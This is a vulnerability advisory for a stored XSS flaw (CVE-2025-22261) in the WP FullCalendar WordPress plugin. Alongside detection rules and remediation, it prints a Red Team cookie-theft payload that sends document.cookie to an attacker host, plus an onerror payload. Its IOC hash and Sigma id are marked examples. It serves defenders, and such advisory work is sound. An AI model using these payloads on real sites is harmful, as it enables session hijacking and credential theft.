CVE-2025-22261

Executive Summary

CVE-2025-22261 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP FullCalendar by Marcus (aka @msykes). The vulnerability exists in versions up to and including 1.5, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads into calendar events or other plugin data. When an administrator or other user views the calendar, the payload executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is part of the WordPress ecosystem and does not affect Apache or Nginx directly. The CVSS score is 6.5 (Medium), and no public proof-of-concept or exploit code is currently available. The patch status is unknown, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin file (e.g., wp-fullcalendar.zip) by checking its SHA-256 hash against the official source. If the plugin is installed via Composer or a custom deployment pipeline, ensure that the source repository is trusted and that no malicious modifications have been introduced.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over HTTP.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must view the calendar page containing the malicious payload.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component, affecting the user's browser session.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for stored XSS in a widely-used calendar plugin makes it a significant concern for WordPress site administrators.

Deep Dive & Mechanics

The vulnerability lies in the wp-fullcalendar plugin's handling of event data. When a user with contributor-level privileges or higher creates or edits a calendar event, the plugin does not properly sanitize or escape the input fields (e.g., event title, description, or custom fields). This allows an attacker to inject arbitrary HTML and JavaScript code.

The injected payload is stored in the WordPress database (typically in the wp_posts table as post meta or custom fields). When the calendar is rendered on the front-end or back-end, the plugin outputs the unsanitized data directly into the HTML DOM, causing the browser to execute the malicious script.

The attack flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new calendar event and injects a JavaScript payload (e.g., <script>alert('XSS')</script>) into a vulnerable field.
3. The payload is stored in the database.
4. An administrator or other user views the calendar page.
5. The browser executes the payload, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a malicious site.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's output functions. A typical vulnerable pattern in WordPress plugins is:

// Vulnerable code (wp-fullcalendar <= 1.5)
echo '<div class="event-title">' . $event_title . '</div>';

The patched version would use WordPress's escaping functions:

// Patched code (hypothetical)
echo '<div class="event-title">' . esc_html( $event_title ) . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script execution. Alternatively, wp_kses() could be used to allow safe HTML tags.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site running WP FullCalendar <= 1.5.
• A user account with contributor-level privileges or higher.

Steps:

1. Log in to the WordPress admin panel.
2. Navigate to the calendar event creation page (e.g., /wp-admin/admin.php?page=wp-fullcalendar&action=edit).
3. In the event title or description field, inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the event.
5. Wait for an administrator to view the calendar page, or send a direct link to the calendar to the victim.

Alternative payload (using img tag for non-script contexts):

<img src=x onerror="alert('XSS')">

Blue Team

Detection:

• Monitor for unusual event creation or modification by low-privileged users.
• Look for HTML tags or JavaScript in event fields in the database.
• Use the detection rules provided below.

Mitigation:

• Disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block common XSS payloads in POST requests to calendar endpoints.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Example – replace with actual hash if available)

  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  

• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains containing document.cookie or similar.
  • Unusual referrer headers from the WordPress admin panel.
• Database Indicators:
  • Entries in wp_postmeta or custom tables containing <script> tags or event handlers like onerror, onload, etc.
• Log Indicators:
  • WordPress debug log entries showing unexpected HTML in event fields.
  • Web server access logs showing POST requests to /wp-admin/admin-ajax.php with suspicious payloads.

Detection Engineering

YARA Rule

rule CVE_2025_22261_WP_FullCalendar_XSS {
    meta:
        description = "Detects stored XSS payloads in WP FullCalendar event data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22261"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*["'][^"']*["']/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-22261 - Stored XSS in WP FullCalendar
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in WP FullCalendar event creation/modification
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event_type: "wp_fullcalendar_event"
        payload|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in event descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22261 - WP FullCalendar Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wp_fullcalendar"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete wp-fullcalendar from the WordPress admin panel until a patch is available.
2. Restrict user roles – Remove contributor-level access from untrusted users.
3. Apply virtual patching – Use a WAF to block requests containing XSS patterns to calendar endpoints.

Long-term Fix:

• Monitor the WordPress plugin repository for an official update.
• If you are a developer, apply input sanitization using esc_html(), esc_attr(), or wp_kses() to all output fields in the plugin.
• Consider switching to an alternative calendar plugin that is actively maintained.

Verification:

• After applying any fix, test by creating an event with a test payload (e.g., <script>alert('test')</script>) and verify it is rendered as text, not executed.

Valters IT
Securing WordPress Ecosystems